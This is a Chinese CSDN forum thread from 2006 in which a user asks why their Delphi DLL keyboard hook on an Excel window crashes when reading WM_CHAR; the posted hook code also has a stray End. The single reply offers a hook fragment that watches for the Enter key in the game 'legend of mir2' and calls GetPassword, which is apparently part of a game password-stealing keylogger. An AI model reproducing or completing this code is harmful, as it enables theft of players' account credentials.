CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
IBM Rational 系统开发最佳实践工具包 WebSphere MQ 最佳实践 TOP 15
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Delphi >  VCL组件开发及应用

为什么截取wm_char消息老报错?

楼主qq7r()2006-03-08 19:26:00 在 Delphi / VCL组件开发及应用 提问

Dll钩子的代码  
   
  Var  
        hookhandle:   thandle;  
   
  Function   CharProc(Code:   integer;   wParam:   longint;   lParam:   longint):   longint;   Stdcall;  
  Begin  
        If   (Code   >=   0)   And   (pmsg(lParam)^.message   =   WM_CHAR)   Then  
              Begin  
                    showmessage('1');  
              End;  
  End;  
  //挂钩下一个函数  
  result   :=   CallNextHookEx(hookhandle,   Code,   wParam,   lParam);  
  End;  
   
  Procedure   InstallHook(ThreadID:   dword);   Stdcall;  
  Begin  
        hookhandle   :=   SetWindowsHookEx(WH_KEYBOARD,   @CharProc,   hinstance,   ThreadID);  
  End;  
   
  Exports  
        InstallHook;  
   
  Begin  
  End.  
   
  主窗口中相关代码  
  Var  
        InstallHook:   Procedure(ThreadID:   dword);   Stdcall;  
  begin  
        LibHandle   :=   loadlibrary('ExcelHook.dll');  
        InstallHook   :=   getprocaddress(LibHandle,   'InstallHook');  
        InstallHook(getwindowthreadprocessid(findwindowex(findwindowex(OleCtn.Handle,   0,   Nil,   Nil),   0,   'EXCEL6',   Nil),   Nil));  
  end;  
   
  这个程序就是将dll钩子安装到excel的一个线程上截取wm_char消息  
  安装钩子没有问题,但是钩子子程CharProc中老是报错,后来调试发现是  
  pmsg(lParam)^.message   =   WM_CHAR  
  这一句有问题,如果不取pmsg(lParam)^的message属性什么问题都没有,只要一取就会报错  
  而lParam不是指向消息结构的指针么,怎么会不能取message这个属性,还是有其他问题?如果不取的话我怎么能判断是什么消息啊?  
     
  问题点数:100、回复次数:1Top

1 楼aiirii(ari-http://spaces.msn.com/members/aiirii/)回复于 2006-03-08 20:24:59 得分 100

//键盘hook,wParam   键ASCII码  
  function   KeyboardHookPro(iCode:   Integer;   wParam:   WPARAM;   lParam:   LPARAM):   LRESULT;  
  stdcall;   export;  
  var  
  WinClass,   WinText   :   string;  
  begin  
  if   (iCode=HC_ACTION)   and  
  ((lParam   and   $80000000)=0)   and   //$80000000键盘掩码常量  
  (wParam=$0D)   then   begin   //$0D回车键  
  hActiv:=GetActiveWindow;  
  WinClass:=GetClass(hActiv);  
  WinText:=GetCaption(hActiv);  
  if   (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend   of   mir2')   then   begin  
  GetPassword;//取密码  
  end;  
  end;  
   
   
  http://abingle.3322.org/article_view.asp?id=5Top

相关问题

  • 主意:截取WM_GetText消息
  • char a = "helloiamtom"; 如何截取出 iamtom
  • 为什么从const char*类型向char*赋值会报错,而从const char向char赋值就没问题?
  • WM_KeyDown,WM_Char不响应
  • query报错!!
  • jdbc--sqlserver报错
  • 窗体报错
  • mysqldump报错
  • link报错
  • 编译报错

关键词

  • 消息
  • code
  • dll
  • installhook
  • 钩子
  • charproc
  • hactiv
  • wintext
  • hookhandle
  • lparam

得分解答快速导航

  • 帖主:qq7r
  • aiirii

相关链接

  • Delphi类图书
  • Delphi类源码下载
  • Delphi控件下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo